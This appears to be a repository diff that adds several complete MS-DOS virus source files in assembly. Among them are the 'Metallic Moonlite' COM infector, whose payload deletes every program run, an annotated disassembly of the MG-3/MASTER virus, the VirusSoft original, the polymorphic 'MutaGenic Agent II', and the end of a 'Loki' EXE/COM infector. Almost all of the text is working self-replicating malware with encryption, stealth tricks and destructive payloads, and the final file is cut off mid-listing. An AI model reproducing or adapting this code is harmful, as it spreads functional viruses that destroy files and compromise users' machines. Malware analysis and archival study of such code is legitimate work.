mov dx,ax
jmp contin2
okey_p: xor cx,cx
cmp ax,63000
jb contin1
call reset_all
jmp give_up
contin1:
cmp ax,600
jnb continx
call reset_all
jmp give_up
continx:
sub ax,compare_val
mov dx,ax
xor cx,cx
contin2:
mov ax,4200h
mov bx,cs:[handle]
call dos_21
mov ah,3fh
push cs
pop ds
mov dx,offset buffer
mov cx,2
call dos_21
mov ax,word ptr cs:[buffer]
mov bx,word ptr cs:[offset dont_write-compare_val]
cmp ax,bx
jne dddd
jmp give_up
dddd:
cmp cs:[com_or_exe],1234h
je infect_exe
jmp infect_com
infect_exe:
mov bx,cs:[handle]
xor dx,dx
xor cx,cx
mov ax,4200h
call dos_21
push cs
pop ds
mov ah,3fh
mov cx,18h
mov dx,offset header
call dos_21
cmp word ptr [header+8],1000h
jb okayh
call reset_all
jmp give_up
okayh: mov ax,word ptr [header+16h]
mov orig_cs,ax
mov ax,word ptr [header+14h]
mov orig_ip,ax
mov ax,word ptr [header+0eh]
mov orig_ss,ax
mov ax,word ptr [header+10h]
mov orig_sp,ax
mov ax,4202h
mov bx,handle
xor cx,cx
xor dx,dx
call dos_21
mov word ptr ds:[exe_or_com],'EX'
mov high_size,dx
mov low_size,ax
mov real_hsize,dx
mov real_lsize,ax
mov ax,word ptr [header+8]
mov cx,10h
mul cx
clc
sub low_size,ax ;high_size:low_size=load size
sbb high_size,dx
clc
mov dx,high_size
mov ax,low_size
mov cx,0010h
div cx
cmp dx,0
je okay
mov cx,16
sub cx,dx
mov bp,cx
add real_lsize,bp
adc real_hsize,0000
clc
stc
adc ax,0000
jmp okay1
okay: xor bp,bp
okay1: xor dx,dx
mov word ptr [header+16h],ax
;add to dx?
mov word ptr [header+14h],dx
mov word ptr [header+0eh],ax
mov dx,0fffeh
mov word ptr [header+10h],dx
mov dx,real_hsize
mov ax,real_lsize
add ax,offset ending-100h+1
adc dx,0000
push ax
mov cl,9
shr ax,cl
ror dx,cl
stc
adc dx,ax
pop ax
and ah,1
mov word ptr [header+4],dx
mov word ptr [header+2],ax
mov ah,40h
mov bx,handle
mov cx,offset dont_write-100h
add cx,bp
mov dx,100h
sub dx,bp
call dos_21
mov ax,4200h
xor cx,cx
xor dx,dx
mov bx,handle
call dos_21
mov ah,40h
mov bx,handle
mov cx,18h
mov dx,offset header
call dos_21
call reset_all
jmp give_up
infect_com:
xor cx,cx
xor dx,dx
mov bx,cs:[handle]
mov ax,4200h
call dos_21
mov ah,3fh
mov cx,3
push cs
pop ds
mov dx,offset three_bytes
call dos_21
mov ax,cs:[file_size]
sub ax,3
mov word ptr cs:[jumper+1],ax
mov word ptr cs:[exe_or_com],'CO'
call write_to_end
xor cx,cx
xor dx,dx
mov ax,4200h
mov bx,cs:[handle]
call dos_21
mov dx,offset jumper
mov ah,40h
mov cx,3
call dos_21
call reset_all
give_up:
mov ah,50h
mov bx,cs:[storage_1]
call dos_21
give_up1:
pop ds
pop es
pop bp
pop si
pop di
pop es
pop dx
pop cx
pop bx
pop ax
jmp continue_21
continue_21:
jmp dword ptr cs:[int_21_saveo]
dos_21:
pushf
call dword ptr cs:[int_21_saveo]
ret
reset_all:
mov bx,cs:[handle]
mov cx,cs:[time]
mov dx,cs:[date]
mov ax,5701h
call dos_21
mov ah,3eh
mov bx,cs:[handle]
call dos_21
mov ah,43h
mov al,1
mov cx,cs:[attrib]
mov ds,cs:[storage_1]
mov dx,cs:[storage_2]
call dos_21
ret
write_to_end:
mov ax,4202h
xor dx,dx
xor cx,cx
mov bx,cs:[handle]
call dos_21
mov ah,40h
mov cx,offset dont_write-100h
push cs
pop ds
mov dx,0100h
call dos_21
ret
my_71:
mov ax,9999h
iret
jumper:
db 0e9h,00,00
storage_1 dw 0000
storage_2 dw 0000
int_21_saveo dw 0000
int_21_saves dw 0000
three_bytes: db 0cdh,20h,90h
db 'Loki'
orig_ip dw 0000
orig_cs dw 0000
orig_ss dw 0000
orig_sp dw 0000
dont_write:
header:
db 24 dup(00)
com_or_exe dw 1234h
handle dw 0000
file_size dw 0000
attrib dw 0000
date dw 0000
time dw 0000
buffer: dw 0000
loader_high dw 0000
loader_low dw 0000
header_cs dw 0000
header_ip dw 0000
low_size dw 0000
high_size dw 0000
real_hsize dw 0000
real_lsize dw 0000
ending:
Code_seg ENDS
END start
+244
View File
@@ -0,0 +1,244 @@
; Virusname : Metallic Moonlite
; Virusauthor: Metal Militia
; Virusgroup : Immortal Riot
; Origin : Sweden
;
; It's a non-resident, current dir infector of com-files. every first
; of any month it will put a bit of code resident to make ctrl-alt-del's
; to coldboots and delete all files being executed. It's encrypted with
; an XOR-loop. If it's not the first it will simple make a screen-clear.
; Um!.. well, enjoy Insane Reality issue #4!
;
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
; METALLIC MOONLITE
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
.model tiny
.code
cseg segment
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
org 100h
begin:
dummy_host db 0e9h,00h,00h ; the jmp code
virus_start:
mov bp,0000h ; the delta offset
call encrypt_decrypt ; call to unencrypt
jmp restore_old_bytes ; restore old first bytes
write_virus:
call encrypt_decrypt ; call encryption routine
lea dx,[bp+virus_start] ; from 100h (start)
mov cx,heap-virus_start ; viruslength
mov ah,40h ; write it
int 21h
call encrypt_decrypt ; once again, encryption routine
; being called
ret ; ret(urn) to "caller"
enc_val dw 0 ; encryption value storage
encrypt_decrypt:
mov dx,word ptr [bp+enc_val] ; the encryption routine
lea si,[bp+restore_old_bytes]
mov cx,(heap_end-virus_start+1)/2
again:
xor word ptr [si],dx ; a simple XOR thang
inc si ; but gaak!, so effective
inc si
loop again
ret
restore_old_bytes:
mov di,0100h
lea si,[bp+old_bytes] ; restore old first bytes
movsw
movsb
lea dx,[bp+new_dta] ; DTA's place
mov ah,1Ah ; set it
int 21h
lea dx,[bp+com_mask] ; file(s) to find
mov cx,0002h ; hidden/normal attributes
mov ah,4eh ; find first file
find_next:
int 21h
jnc check_file ; found one? if so, check it
jmp bye_bye ; no uninfected files found,
; outa here
check_file:
mov ax,word ptr [bp+file_time] ; get time of file
and al,00011111b ; mask seconds field
cmp al,00010101b ; check for previous infection
je try_again ; is it infected? so, try another
jmp replicate ; not infected yet, kick it
try_again:
mov ah,4fh ; find next file
jmp short find_next ; so, do that
replicate:
lea dx,[bp+file_name]
sub cx,cx
mov ax,4301h ; set attributes
int 21h
lea dx,[bp+file_name] ; open file
mov ax,3d02h ; read/write access
int 21h
xchg ax,bx ; mov bx,ax
mov ah,3fh ; read bytes
mov cx,03h ; 3 of them
lea dx,[bp+old_bytes] ; save them in the buffer (old_bytes)
int 21h
cwd
sub cx,cx
mov ax,4202h ; move file pointer to EOF
int 21h
sub ax,03h ; 3 bytes
mov word ptr [bp+virus_start+1],ax ; from start
mov word ptr [bp+new_bytes+1],ax ; our jmp code
mov ah,2ch ; get time
int 21h
mov word ptr [bp+enc_val],dx ; put as encryption value
call write_virus ; write our code (*.*)
cwd
sub cx,cx
mov ax,4200h ; move file pointer to SOF
int 21h
lea dx,[bp+new_bytes] ; write our jmp code at beginning
mov cx,03h ; 3 bytes long
mov ah,40h ; kick it
int 21h
mov dx,word ptr [bp+file_date]
mov cx,word ptr [bp+file_time]
and cl,11100000b
or cl,00010101b
mov ax,5701h ; restore date and time
int 21h ; and mask seconds to show
; it's infected
mov ah,3eh ; close file
int 21h
lea dx,[bp+file_name]
sub cx,cx
mov cl,byte ptr [bp+file_attr]
mov ax,4301h ; restore the original attributes
int 21h
jmp try_again ; try to find another file
bye_bye:
mov ah,2ah ; get date
int 21h
cmp dl,1 ; the first of any month?
je print_it ; if so, deletion time
jmp nofuckup ; else, quit
print_it:
mov ah,9h ; print note
lea dx,[bp+offset printfake] ; faked thing
int 21h
jmp resident ; go resident
int_9_entry proc far
push ax
in al,60h
cmp al,delcode ; ctrl-alt-del?
je warmboot ; if so, boot
pop ax
jmp cs:Old_9 ; let them use the old one
warmboot:
db 0eah,00h,00h,0ffh,0ffh ; no warmboot, but a coldboot
iret ; i wonder if they will notice
int_9_entry endp ; thatone (?)
int_21h_entry proc far
cmp ax,4b00h ; are they running a file?
jne go_on ; if not, check other thang
mov ah,41h ; delete it
int 21h
go_on:
cmp ax,4B9Fh ; is another copy trying to go resident?
je loc_0111 ; if so, show that we're here already
jmp cs:Old_21 ; else, let them use old int21
loc_0111:
mov ax,1994h ; 1994, our TSR mark here
iret ; to show that one copy's already eating memory
int_21h_entry endp
en:
resident:
mov ax,3509h ; hook int9 (to read keyboard)
int 21h
mov word ptr cs:Old_9,bx ; save the old one here
mov word ptr cs:Old_9+2,es
mov ax,2509h
mov dx,offset int_9_entry ; and use ours instead
int 21h
mov ax,3521h ; hook int21 too (for filedeletion)
int 21h
mov word ptr cs:Old_21,bx ; save old int21 here
mov word ptr cs:Old_21+2,es
mov ax,2521h
mov dx,offset int_21h_entry ; and let ours be used instead
int 21h
mov dx,offset en ; what to put resident
int 27h ; do it
nofuckup:
; mov ah,0fh ; remove the first ";"
; int 10h ; and a screen-clear
; mov ah,0 ; will occure every
; int 10h ; execution.
restore_it_all:
jmp restore_dir ; restore everything
restore_dir:
mov ah,1ah ; restore DTA
mov dx,80h ; right now
int 21h
mov ax,0100h ; set ax to start
push ax ; push it
retn ; back to original program
virusname db 'Metallic Moonlite' ; virus name
copyright db '(c) Metal Militia/Immortal Riot' ; virus author
greetings db 'Greetings to The Unforgiven/IR'
printfake db 'Bad command or filename$'
com_mask db '*.com',0 ; files to infect, .com(mand)
old_bytes db 0cdh,20h,90h ; old jmp saved here
new_bytes db 0e9h,00h,00h ; new jmp code here
delcode equ 53h ; ctrl-alt-del code(s)
heap:
old_9 dd 0 ; save's old int9 here
old_21 dd 0 ; save's old int21 aswell
new_dta db 21 dup(?) ; the new DTA
file_attr db ? ; files attributes
file_time dw ? ; files time
file_date dw ? ; files date
file_size dd ? ; files size
file_name db 13 dup(?) ; files name
old_attrs db 5 dup(?) ; files old attributes
heap_end: ; eov (end of virus)
cseg ends
end begin
+338
View File
@@ -0,0 +1,338 @@
page ,132
;
; name: mg-3.vom
;
; program type: com/bin
;
; cpu type: 8086
;
; program loaded at 0000:01f8
;
; physical eof at 0000:03f5
;
; program entry point at 0000:01f8
;
fun segment
assume cs:fun,ds:fun,es:fun,ss:fun
;
; references before the start of code space
;
org 0006h
h_0006 label word
org 004ch
h_004c label word
org 004eh
h_004e label word
org 0090h
h_0090 label word
org 0092h
h_0092 label word
;
; data references to code space addresses
;
; org 0339h
;h_0339 label byte
;
; start of program
;
org 01f8h
h_01f8:
call h_0204 ;goto virus
nop
mov ax,4c00h
int 21h ;terminate program
;
h_0201 db 0ebh,02h,90h ;saved_prog_start
h_0204:
xchg ax,dx ;save ax
pop di ;get return address
dec di ;back by 2
dec di ;to CALL ofs
mov si,[di] ;get call ofs
dec di ;back 1 to start of program
add si,di ;call ofs plus prog start
;= saved_prog_start
push cs ;save cs
push di ;and di for program start
cld ;up!
movsw ;replace 1st word
movsb ;and 3rd byte of program
mov ax,4b04h ;fn = virus ID
int 21h ;call DOS
jae h_027f ;OK (installed), skip this
xor ax,ax ;get a 0
mov es,ax ;address INT seg
mov di,0204h ;es:di = new virus home
mov cx,offset h_03f5-h_0204 ;virus size (01f1h)
repz movsb ;copy virus to low mem
les di,[0006h] ;get seg:ofs of CPMtype doscall
mov al,0eah ;JMPF instruction
dec cx ;cx = 0FFFFh
repnz scasb ;find JMPF
les di,es:[di] ;get seg:ofs to DOS
sub di,-21h ;up to ??
jmp 0000h:0239h ;goto virus in low memory
h_0239:
push es ;DOS seg
pop ds ;to ds
mov si,[di-04h] ;get ptr to max_dos_fn
lodsb ;get that byte
cmp al,68h ;at least 68?
mov [di-03h],al ;set immediate compare value
mov word ptr [di-05h],0fc80h ;CMP AH,xx instruction
mov word ptr [di-07h],0fccdh ;INT 0FCH instruction
push cs ;current segment
pop ds ;to ds
mov [03fch],di ;set INT FF ofs to DOS entry
mov [03feh],es ;and INT FF seg to DOS entry
;BUG: need to have INT FF point to the
; CMP AH,xx instruction they
; have set up!!!
mov byte ptr [h_0339],0ah ;set dosver_skip
jnae h_026e ;not DOS 3.3+, skip this
mov byte ptr [h_0339],00h ;reset dosver_skip
mov word ptr [h_07b4],offset h_03db ;set ofs of saved INT 13 vector
mov [h_07b6],cs ;and seg of saved INT 13 vector
;in IBMBIO.COM
;NOTE: How stable are these locations?!?!?!
h_026e:
mov al,0a9h ;TEST AX,xxxx instruction
h_0270:
repnz scasb ;find it
cmp word ptr es:[di],-28h ;immediate value = 0FFD8h?
;NOTE: test for illegal flag values
jnz h_0270 ;no, try again
mov al,18h ;new immediate value: 0FF18h
;NOTE: remove "our" flag from illegal values
stosb ;modify test instr
push ss ;copy PSP seg
pop ds ;to ds
push ss ;and again
pop es ;to es
h_027f:
xchg ax,dx ;get original AX back
retf ;and execute infected program
;
; intfchere
;
h_0281:
push ax ;save regs
push dx
push ds
push cx
push bx
push es
cmp ax,4b04h ;fn = virus ID?
jz h_02ad ;yes, cleanup and exit NC
xchg ax,cx ;save ax
mov ah,2fh ;fn = get DTA
int 0ffh ;call DOS
cmp ch,11h ;fn = FCB find first?
jz h_029b ;yes, stop here
cmp ch,12h ;fn = FCB find next?
jnz h_02b4 ;no, skip this
h_029b:
xchg ax,cx ;get fn back
int 0ffh ;call to DOS
push ax ;save return code
test byte ptr es:[bx+13h],0c0h ;check our attribute bits
jz h_02ac ;not set, skip this
sub word ptr es:[bx+24h],offset h_03f5-h_0201
;update filesize to hide virus (01f4h)
h_02ac:
pop ax ;restore regs
h_02ad:
pop es
pop bx
pop cx
add sp,+0ch ;cleanup stack
iret ;and return to caller
;BUG: Should preserve returned flags!
h_02b4:
mov ah,19h ;fn = get current disk
int 0ffh ;call to DOS
push ax ;save disk
cmp ch,36h ;fn = get disk free space?
jz h_02e9 ;yes, stop here
cmp ch,4eh ;fn = find first?
jz h_02e0 ;yes, stop here
cmp ch,4bh ;fn = load/execute?
jz h_02e0 ;yes, stop here
cmp ch,47h ;fn = get current dir?
jnz h_02d1 ;no, skip this
cmp al,02h ;drive >= C:?
jae h_02ee ;yes, stop here
h_02d1:
cmp ch,5bh ;fn = create new file?
jz h_02e0 ;yes, stop here
shr ch,1 ;fn / 2
cmp ch,1eh ;fn = 3C or 3D?
;create file or open file?
jz h_02e0 ;yes, stop here
jmp h_03bb ;else continue DOS call
h_02e0:
mov ax,121ah ;fn = get file's drive
xchg si,dx ;ds:si = filename
int 2fh ;multiplex interrupt
xchg ax,dx ;ax = old si, dx = drive
xchg ax,si ;old si to si
h_02e9:
mov ah,0eh ;fn = set current disk
dec dx ;drive A: = 0, B: = 2, etc
int 0ffh ;call to DOS
h_02ee:
push es ;save dta seg
push bx ;and dta ofs
sub sp,+2ch ;allocate locals
mov dx,sp ;get ptr to local DTA
push sp ;save ptr to local DTA
mov ah,1ah ;fn = set DTA
push ss ;stack segment
pop ds ;is DTA seg
int 0ffh ;call to DOS
mov bx,dx ;bx = ptr to DTA
push cs ;current segment
pop ds ;to ds
mov ah,4eh ;fn = find first matching file
mov dx,offset h_03e9 ;ds:dx = wildcard_com
mov cx,0003h ;attributes = HIDDEN, Read-Only
int 0ffh ;call to DOS
jnae h_0319 ;error, cleanup and exit
h_030c:
test byte ptr ss:[bx+15h],80h ;our attribute set?
jz h_031c ;no, continue
;BUG: If it will re-infect a file with the
; MG-2 attribute set, then the above
; size change mask will FAIL!
h_0313:
mov ah,4fh ;fn = find next matching file
int 0ffh ;call to DOS
jae h_030c ;OK, check out this file
h_0319:
jmp h_03b2 ;cleanup and exit
h_031c:
cmp byte ptr ss:[bx+1bh],0fdh ;file too big?
ja h_0313 ;yes, try next file
mov word ptr [0090h],offset h_03c7 ;set INT24HERE ofs
mov [0092h],cs ;and INT24HERE seg
;NOTE: The original values are NOT saved!
les ax,[004ch] ;get INT 13 vector
mov [h_03f7],ax ;save oldint13ofs
mov [h_03f9],es ;and oldint13seg
h_0339 equ $+1 ;dosver_skip
jmp short h_033a ;if not DOS 3.3+, skip this
h_033a:
mov word ptr [004ch],offset h_03ca ;set ofs of INT13HERE_2
mov [004eh],cs ;and new INT 13 seg, too
;
; dosver_skip comes here
;
push ss ;DTA seg
pop ds ;to ds
push word ptr [bx+16h] ;save file time
push word ptr [bx+18h] ;and file date
push word ptr [bx+15h] ;and file attributes
lea dx,[bx+1eh] ;ds:dx = name found in DTA
mov ax,4301h ;fn = set file attributes
pop cx ;get file attributes
and cx,00feh ;high byte, R/O bit off
or cl,0c0h ;set our attributes
int 0ffh ;call to DOS
mov ax,3d02h ;fn = open file for read/write
int 0ffh ;call to DOS
xchg ax,bx ;handle to bx
push cs ;current segment
pop ds ;to ds
mov ah,3fh ;fn = read file
mov cx,0003h ;size of saved_prog_start
mov dx,offset h_0201 ;ds:dx = saved_prog_start
int 0ffh ;call to DOS
mov ax,4202h ;fn = lseek to EOF+CX:DX
xor dx,dx ;cx:dx = 0
mov cx,dx
int 0ffh ;call to DOS
mov [h_03f5],ax ;save virus_call_ofs
mov ah,40h ;fn = write to file
mov cx,offset h_03f5-h_0201 ;virus size (01f4h)
mov dx,offset h_0201 ;ds:dx = this virus
int 0ffh ;call to DOS
jnae h_039c ;error, cleanup and quit
mov ax,4200h ;fn = lseek to BOF+CX:DX
xor dx,dx ;cx:dx = 0
mov cx,dx
int 0ffh ;call to DOS
mov ah,40h ;fn = write to file
mov cx,0003h ;size of virus_call
mov dx,offset h_03f4 ;ds:dx = virus_call
int 0ffh ;call to DOS
h_039c:
mov ax,5701h ;fn = set file time/date
pop dx ;restore file date
pop cx ;and file time
int 0ffh ;call to DOS
mov ah,3eh ;fn = close file
int 0ffh ;call to DOS
les ax,[h_03f7] ;get oldint13
mov [004ch],ax ;restore INT 13 ofs
mov [004eh],es ;and INT 13 seg
h_03b2:
add sp,+2eh ;clean stuff off stack
pop dx ;restore old DTA ofs
pop ds ;and old DTA seg
mov ah,1ah ;fn = set DTA
int 0ffh ;call to DOS
h_03bb:
pop dx ;get default drive back
mov ah,0eh ;fn = set current drive
int 0ffh ;call to DOS
pop es ;restore regs
pop bx
pop cx
pop ds
pop dx
pop ax
iret ;continue INT 21
;
; int24here
;
h_03c7:
mov al,03h ;response = FAIL
iret ;and done
;
; int13here_2
;
h_03ca:
cmp ah,03h ;fn = write?
jnz h_03d6 ;no, skip this
inc byte ptr cs:[h_03ef] ;update ??
dec ah ;change function to read
h_03d6:
jmp dword ptr cs:[h_03f7] ;and continue INT 13
;
; int13here
;
h_03db:
shr byte ptr cs:[h_03ef],1 ;update ??
jae h_03e4 ;yes, skip this
inc ah ;change function
;i.e. read changes to write, etc!
h_03e4:
jmp dword ptr cs:[h_07b0] ;continue INT 13
;
h_03e9 db "* .COM" ;wildcard_com
h_03ef db 00h
;NOTE: location of following data CANNOT change!
h_03f0 dw h_0281,0000h ;INT 0FCH vector!
h_03f4 db 0e8h ;virus_call
h_03f5 equ $
;
; references after the end of code space
;
org 03f5h
h_03f5 label word ;virus_call_ofs
org 03f7h
h_03f7 label word ;oldint13ofs
org 03f9h
h_03f9 label word ;oldint13seg
fun ends
end h_01f8
+300
View File
@@ -0,0 +1,300 @@
; (C) Copyright VirusSoft Corp. Aug, 1990
ofs = 201h
len = offset end-ofs
start: call $+6
org ofs
first: dw 020cdh
db 0
xchg ax,dx
pop di
dec di
dec di
mov si,[di]
dec di
add si,di
cld
movsw
movsb
mov ax,4b04h
int 21h
jnc residnt
xor ax,ax
mov es,ax
mov di,ofs+3
mov cx,len-3
rep movsb
les di,[6]
mov al,0eah
dec cx
repne scasb
les di,es:[di] ; Searching for the INT21 vector
sub di,-1ah-7
db 0eah
dw offset jump,0 ; jmp far 0000:jump
jump: push es
pop ds
mov si,[di+3-7] ;
lodsb ;
cmp al,68h ; compare DOS Ver
mov [di+4-7],al ; Change CMP AH,CS:[????]
mov [di+2-7],0fc80h ;
mov [di-7],0fccdh ;
push cs
pop ds
mov [1020],di ; int 0ffh
mov [1022],es
mov beg-1,byte ptr not3_3-beg
jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30
mov beg-1,byte ptr 0
mov [7b4h],offset pr7b4
mov [7b6h],cs ; 7b4
not3.3: mov al,0a9h ; Change attrib
cont: repne scasb
cmp es:[di],0ffd8h
jne cont
mov al,18h ; mov es:[di],byte ptr 98h
stosb ;
push ss
pop ds
push ss
pop es
residnt: xchg ax,dx
push ds ; jmp start
mov dx,0100h ;
push dx ;
retf ; ret far
;--------Interrupt process--------;
i21pr: push ax
push dx
push ds
push cx
push bx
push es
if4b04: cmp ax,4b04h
je rti
xchg ax,cx
mov ah,02fh
int 0ffh
if11_12: cmp ch,11h
je yes
cmp ch,12h
jne inffn
yes: xchg ax,cx
int 0ffh
push ax
test es:byte ptr [bx+19],0c0h
jz normal
sub es:[bx+36],len
normal: pop ax
rti: pop es
pop bx
pop cx
add sp,12
iret
inffn: mov ah,19h
int 0ffh
push ax
if36: cmp ch,36h ; -free bytes
je beg_36
if4b: cmp ch,4bh ; -exec
je beg_4b
if47: cmp ch,47h ; -directory info
jne if5b
cmp al,2
jae begin ; it's hard-disk
if5b: cmp ch,5bh ; -create new
je beg_4b
if3c_3d: shr ch,1 ; > -open & create
cmp ch,1eh ; -
je beg_4b
jmp rest
beg_4b: mov ax,121ah
xchg dx,si
int 2fh
xchg ax,dx
xchg ax,si
beg_36: mov ah,0eh ; change current drive
dec dx ;
int 0ffh ;
begin:
push es ; save DTA address
push bx ;
sub sp,44
mov dx,sp ; change DTA
push sp
mov ah,1ah
push ss
pop ds
int 0ffh
push ds
pop es
mov bx,dx
push cs
pop ds
mov ah,04eh
mov dx,offset file
mov cx,3 ; r/o , hidden
int 0ffh ; int 21h
jc lst
next: test es:[bx+21],byte ptr 80h
jz true
nxt: mov ah,4fh ; find next
int 0ffh
jnc next
lst: jmp last
true: cmp es:[bx+27],byte ptr 0fdh
ja nxt
mov [144],offset i24pr
mov [146],cs
push es
les di,[4ch] ; int 13h
mov i13adr,di
mov i13adr+2,es
jmp short $
beg: mov [4ch],offset i13pr
mov [4eh],cs
;
not3_3: pop ds
push [bx+22] ; time +
push [bx+24] ; date +
push [bx+21] ; attrib +
lea dx,[bx+30] ; ds : dx = offset file name
mov ax,4301h ; Change attrib !!!
pop cx
and cx,0feh ; clear r/o and CH
or cl,0c0h ; set Infect. attr
int 0ffh
mov ax,03d02h ; open
int 0ffh ; int 21h
xchg ax,bx
push cs
pop ds
mov ah,03fh
mov cx,3
mov dx,offset first
int 0ffh
mov ax,04202h ; move fp to EOF
xor dx,dx
mov cx,dx
int 0ffh
mov word ptr cal_ofs+1,ax
mov ah,040h
mov cx,len
mov dx,ofs
int 0ffh
jc not_inf
mov ax,04200h
xor dx,dx
mov cx,dx
int 0ffh
mov ah,040h
mov cx,3
mov dx,offset cal_ofs
int 0ffh
not_inf: mov ax,05701h
pop dx ; date
pop cx ; time
int 0ffh
mov ah,03eh ; close
int 0ffh
les ax,dword ptr i13adr
mov [4ch],ax ; int 13h
mov [4eh],es
last: add sp,46
pop dx
pop ds ; restore DTA
mov ah,1ah
int 0ffh
rest: pop dx ; restore current drive
mov ah,0eh ;
int 0ffh ;
pop es
pop bx
pop cx
pop ds
pop dx
pop ax
i21cl: iret ; Return from INT FC
i24pr: mov al,3 ; Critical errors
iret
i13pr: cmp ah,3
jne no
inc byte ptr cs:activ
dec ah
no: jmp dword ptr cs:i13adr
pr7b4: db 2eh,0d0h,2eh
dw offset activ
; shr cs:activ,1
jnc ex7b0
inc ah
ex7b0: jmp dword ptr cs:[7b0h]
;--------
file: db "*.COM"
activ: db 0
dw offset i21pr ; int 0fch
dw 0
cal_ofs: db 0e8h
end:
dw ? ; cal_ofs
i13adr: dw ?
dw ?

+206
View File
@@ -0,0 +1,206 @@
; ========================================================================>
; MutaGenic Agent ][ - MutaGen V1.3 Test Virus
; by MnemoniX 1994
;
; A simple resident .COM infector implementing MutaGen.
; To assemble:
; TASM mg2
; TLINK /t mg2 mutagen
; ========================================================================>
ID equ 'MG'
PING equ 0BADh ; a seldom used DOS function
PONG equ 0DEADh ; residency response
MUTAGEN_SIZE equ 1652 ; version 1.3
extrn _MUTAGEN:near
code segment byte public 'code'
org 100h
assume cs:code,ds:code,es:code,ss:code
start:
jmp virus_begin ; fake host program
dw ID ; infection signature
virus_begin:
call $ + 3
pop bp
sub bp,offset $ - 1
mov ax,PING ; are we already resident?
int 21h
cmp dx,PONG
je installed ; if so, don't repeat ...
mov ax,ds ; blah, blah, blah
dec ax
mov ds,ax
sub word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
sub word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1
mov ax,ds:[12h]
mov ds,ax
sub ax,15
mov es,ax
mov byte ptr ds:[0],'Z'
mov word ptr ds:[1],8
mov word ptr ds:[3],(MEM_SIZE + 15) / 16
push cs ; now move virus into memory
pop ds
mov di,100h
mov cx,(offset virus_end - offset start) / 2
lea si,[bp + start]
rep movsw
xor ax,ax ; move interrupt vector 21
mov ds,ax
mov si,21h * 4 ; (saving it first)
mov di,offset old_int_21
movsw
movsw
mov ds:[si - 4],offset new_int_21
mov ds:[si - 2],es
installed:
push cs
push cs
pop ds
pop es
mov di,100h ; restore original host
push di
lea si,[bp + host]
movsw
movsw
movsb
xor ax,ax ; fix a few registers
cwd
mov si,100h
ret ; and leave
new_int_21:
cmp ax,PING ; residency test?
je pass_signal ; yah yah!
cmp ax,4B00h ; program execute?
je execute ; oui oui ...
int_21_exit:
db 0EAh ; nope, never mind
old_int_21 dd 0
pass_signal:
mov dx,PONG ; give passing signal
jmp int_21_exit
execute:
push ax bx cx dx di si es ds ; a PUSHA is nicer, but it
; won't work on an 8088
mov ax,3D00h ; open file
int 21h
jnc get_sft
jmp cant_open ; ecch ...
get_sft:
xchg ax,bx ; this virus implements the
push bx ; use of System File Table
mov ax,1220h ; (TM) manipulation
int 2Fh
mov ax,1216h
mov bl,es:[di]
int 2Fh
pop bx
push cs
pop ds
mov cx,5 ; read header of file
mov dx,offset host
mov ah,3Fh
int 21h
cmp word ptr host,'ZM' ; .EXE file?
je dont_infect ; oh well ...
cmp word ptr host[3],ID ; already infected?
je dont_infect ; maybe next time ...
mov word ptr es:[di + 2],2 ; a slick way of sidestepping
; file attributes
mov ax,es:[di + 11h] ; get file size
cmp ax,65729 - VIRUS_SIZE + 100
jae dont_infect ; don't infect, too large
mov es:[di + 15h],ax ; move to end of file
sub ax,3 ; adjust for jump
mov word ptr new_jump[1],ax
; MutaGen calling routine
push es di
push cs ; setup registers
pop es
mov di,offset virus_end
mov si,offset virus_begin
mov cx,VIRUS_SIZE
add ax,103h
mov dx,ax
call _mutagen ; "It's a POLYMORPHIC WAR
; OUT THERE!" - P. Ferguson
pop di es ; restore DI and ES
mov ah,40h ; save virus code to file
int 21h
mov word ptr es:[di + 15h],0 ; reset file pointer
mov ah,40h ; and write new jump to file
mov dx,offset new_jump
mov cx,5
int 21h
mov cx,es:[di + 0Dh] ; restore file time
mov dx,es:[di + 0Fh]
mov ax,5701h
int 21h
dont_infect:
mov ah,3Eh ; close up shop
int 21h
cant_open:
pop ds es si di dx cx bx ax
jmp int_21_exit
db '[MutaGenic Agent II]',0
host: ; original host header
mov ax,4C00h
int 21h
new_jump db 0E9h ; new jump instruction
dw 0
dw ID
virus_end equ $ + MUTAGEN_SIZE + 1 ; add MutaGen size to virus
; size
VIRUS_SIZE equ virus_end - virus_begin
MEM_SIZE equ VIRUS_SIZE * 2 + 100 ; extra memory for encryption
; buffer
code ends
end start
+314
View File
@@ -0,0 +1,314 @@
; (C) Copyright VirusSoft Corp. Sep., 1990
;
; This is the SOURCE file of last version of MASTER,(V500),(MG) ect.
; virus, distributed by VirusSoft company . First version was made
; in May., 1990 . Please don't make any corections in this file !
;
; Bulgaria, Varna
; Sep. 27, 1990
ofs = 201h
len = offset end-ofs
call $+6
org ofs
first: dw 020cdh
db 0
pop di
dec di
dec di
mov si,[di]
dec di
add si,di
push cs
push di
cld
movsw
movsb
xchg ax,dx
mov ax,4b04h
int 21h
jnc residnt
xor ax,ax
mov es,ax
mov di,ofs+3
mov cx,len-3
rep movsb
les di,[6]
mov al,0eah
dec cx
repne scasb
les di,es:[di] ; Searching for the INT21 vector
sub di,-1ah-7
db 0eah
dw offset jump,0 ; jmp far 0000:jump
jump: push es
pop ds
mov si,[di+3-7] ;
lodsb ;
cmp al,68h ; compare DOS Ver
mov [di+4-7],al ; Change CMP AH,CS:[????]
mov [di+2-7],0fc80h ;
mov [di-7],0fccdh ;
push cs
pop ds
mov [1020],di ; int 0ffh
mov [1022],es
mov beg-1,byte ptr not3_3-beg
jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30
mov beg-1,byte ptr 0
mov [7b4h],offset pr7b4
mov [7b6h],cs ; 7b4
not3.3: mov al,0a9h ; Change attrib
cont: repne scasb
cmp es:[di],0ffd8h
jne cont
mov al,18h
stosb
push ss
pop ds
push ss
pop es
residnt: xchg ax,dx
retf ; ret far
;--------Interrupt process--------;
i21pr: push ax
push dx
push ds
push cx
push bx
push es
if4b04: cmp ax,4b04h
je rti
xchg ax,cx
mov ah,02fh
int 0ffh
if11_12: cmp ch,11h
je yes
cmp ch,12h
jne inffn
yes: xchg ax,cx
int 0ffh
push ax
test es:byte ptr [bx+19],0c0h
jz normal
sub es:[bx+36],len
normal: pop ax
rti: pop es
pop bx
pop cx
add sp,12
iret
inffn: mov ah,19h
